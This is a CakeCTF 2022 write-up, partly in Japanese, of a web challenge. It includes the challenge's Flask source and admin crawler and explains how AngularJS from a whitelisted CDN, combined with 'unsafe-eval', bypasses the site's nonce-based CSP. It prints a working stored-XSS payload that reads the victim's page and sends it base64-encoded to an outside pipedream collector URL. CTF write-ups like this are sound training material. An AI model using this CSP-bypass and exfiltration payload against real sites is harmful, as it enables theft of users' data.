Source: CakeCTF 2022
Author: ptr-yudai
app.py
import base64
import flask
from flask_wtf.csrf import CSRFProtect
import hashlib
import json
import os
import re
import redis
import requests
REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
REDIS_PORT = int(os.getenv('REDIS_PORT', 6379))
RECAPTCHA_KEY = os.getenv('RECAPTCHA_KEY', '')
SALT = os.getenv('SALT', os.urandom(8))
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
csrf = CSRFProtect(app)
"""
Utility functions
"""
def login_ok():
"""Check if the current user is logged in"""
return 'user' in flask.session
def conn_user():
"""Create a connection to user database"""
return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
def conn_report():
"""Create a connection to report database"""
return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)
def success(message):
"""Return a success message"""
return flask.jsonify({'status': 'success', 'message': message})
def error(message):
"""Return an error message"""
return flask.jsonify({'status': 'error', 'message': message})
def passhash(password):
"""Get a safe hash value of password"""
return hashlib.sha256(SALT + password.encode()).hexdigest()
"""
Enforce CSP
"""
@app.after_request
def after_request(response):
csp = ""
csp += "default-src 'none';"
if 'csp_nonce' in flask.g:
csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
else:
csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
csp += f"style-src https://cdn.jsdelivr.net/;"
csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
csp += f"base-uri 'none';"
csp += f"connect-src 'self';"
response.headers['Content-Security-Policy'] = csp
return response
@app.context_processor
def csp_nonce_init():
flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
return dict(csp_nonce=flask.g.csp_nonce)
"""
Route
"""
@app.route('/')
def home():
if login_ok():
conn = conn_user()
bio = conn.hget(flask.session['user'], 'bio').decode()
if bio is not None:
return flask.render_template('index.html',
username=flask.session['user'], bio=bio)
return flask.render_template('login.html')
@app.route('/profile/<user>')
def profile(user):
if not login_ok():
return flask.redirect(flask.url_for('home'))
is_report = flask.request.args.get('report') is not None
conn = conn_user()
if not conn.exists(user):
return flask.redirect(flask.url_for('home'))
bio = conn.hget(user, 'bio').decode()
return flask.render_template('profile.html',
username=user, bio=bio,
is_report=is_report)
"""
User API
"""
@app.route('/api/user/register', methods=['POST'])
def user_register():
"""Register a new user"""
# Check username and password
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
if re.match("^.{8,128}$", password) is None:
return error("Password must follow regex '^.{8,128}$'")
# Register a new user
conn = conn_user()
if conn.exists(username):
return error("This username has been already taken.")
else:
conn.hset(username, mapping={
'password': passhash(password),
'bio': "<p>Hello! I'm new to this website.</p>"
})
flask.session['user'] = username
return success("Successfully registered a new user.")
@app.route('/api/user/login', methods=['POST'])
def user_login():
"""Login user"""
if login_ok():
return success("You have already been logged in.")
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
# Check password
conn = conn_user()
if conn.hget(username, 'password').decode() == passhash(password):
flask.session['user'] = username
return success("Successfully logged in.")
else:
return error("Invalid password or user does not exist.")
@app.route('/api/user/logout', methods=['POST'])
def user_logout():
"""Logout user"""
if login_ok():
flask.session.clear()
return success("Successfully logged out.")
else:
return error("You are not logged in.")
@app.route('/api/user/update', methods=['POST'])
def user_update():
"""Update user info"""
if not login_ok():
return error("You are not logged in.")
username = flask.session['user']
bio = flask.request.form.get('bio', '')
if len(bio) > 2000:
return error("Bio is too long.")
# Update bio
conn = conn_user()
conn.hset(username, 'bio', bio)
return success("Successfully updated your profile.")
"""
Report spam account
"""
@app.route('/api/support/report', methods=['POST'])
def report():
"""Report spam
Support staff will check the reported contents as soon as possible.
"""
if RECAPTCHA_KEY:
recaptcha = flask.request.form.get('recaptcha', '')
params = {
'secret': RECAPTCHA_KEY,
'response': recaptcha
}
r = requests.get(
"https://www.google.com/recaptcha/api/siteverify", params=params
)
if json.loads(r.text)['success'] == False:
abort(400)
username = flask.request.form.get('username', '')
conn = conn_user()
if not conn.exists(username):
return error("This user does not exist.")
conn = conn_report()
conn.rpush('report', username)
return success("""Thank you for your report.<br>Our support team will check the post as soon as possible.""")
if __name__ == '__main__':
app.run()
flagはadminが作成したbioの中にある。
crawler.js
const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
headless: true,
args: [
'-wait-for-browser',
'--no-sandbox', '--disable-gpu',
'--js-flags="--noexpose_wasm"'
]
}
const crawl = async (target) => {
const url = base_url + '/profile/' + target + '?report';
console.log(`[+] Crawling: ${url}`);
const username = Math.random().toString(32).substring(2);
const password = Math.random().toString(32).substring(2);
const browser = await puppeteer.launch(browser_option);
try {
const page = await browser.newPage();
// Register
await page.goto(base_url + '/', {timeout: 3000});
await page.type('#username', username);
await page.type('#password', password);
await page.click('#tab-signup');
await page.click('#signup');
await wait(1000);
// Set flag to bio
await page.goto(base_url + '/', {timeout: 3000});
await page.$eval('#bio', element => element.value = '');
await page.type('#bio', "You hacked me! The flag is " + flag);
await page.click('#update');
await wait(1000);
// Check spam page
await page.goto(url, {timeout: 3000});
await wait(3000);
await page.close();
} catch(e) {
console.log("[-] " + e);
}
console.log(`[+] Crawl done`);
await browser.close();
}
const handle = async () => {
console.log(await connection.ping());
connection.blpop('report', 0, async (err, message) => {
try {
await crawl(message[1]);
setTimeout(handle, 10);
} catch (e) {
console.log("[-] " + e);
}
});
};
handle();
自由にhtmlタグを使用することができ、特にbypassなどもされていないが、CSPでnonseが設定されているため、ただ<script>
などを挿入しても実行できない。
@app.after_request
def after_request(response):
csp = ""
csp += "default-src 'none';"
if 'csp_nonce' in flask.g:
csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
else:
csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
csp += f"style-src https://cdn.jsdelivr.net/;"
csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
csp += f"base-uri 'none';"
csp += f"connect-src 'self';"
response.headers['Content-Security-Policy'] = csp
return response
script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';
でいくつかのサイトとunsage-eval
を許可しているのが気になる。
https://cdn.jsdelivr.net/
で任意のjavascriptを実行させてくれそうなライブラリを探す。Angular.jsが良さそう。
XSSを発火させることができた。
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
今回はflagがadminのbioの中にあるのでprofileの内容を取得して外部に送信する必要があるが、adminのusernameはランダムになっておりpathが分からない。しかしよく考えれば/
の編集画面でも現在のprofileを取得しているため、これを送信すれば良い。
default-src: 'none';
が設定されていてfetchやsendBeaconがブロックされてしまうので情報を送信する時はlocation.hrefを使う。最終的なpayloadはこうなる。
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(r=>r.text()).then(t=>location.href="https://xxxxxxxx.m.pipedream.net?"+btoa(t))')()}}</div>
base64エンコードされたflagが飛んできた。
CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}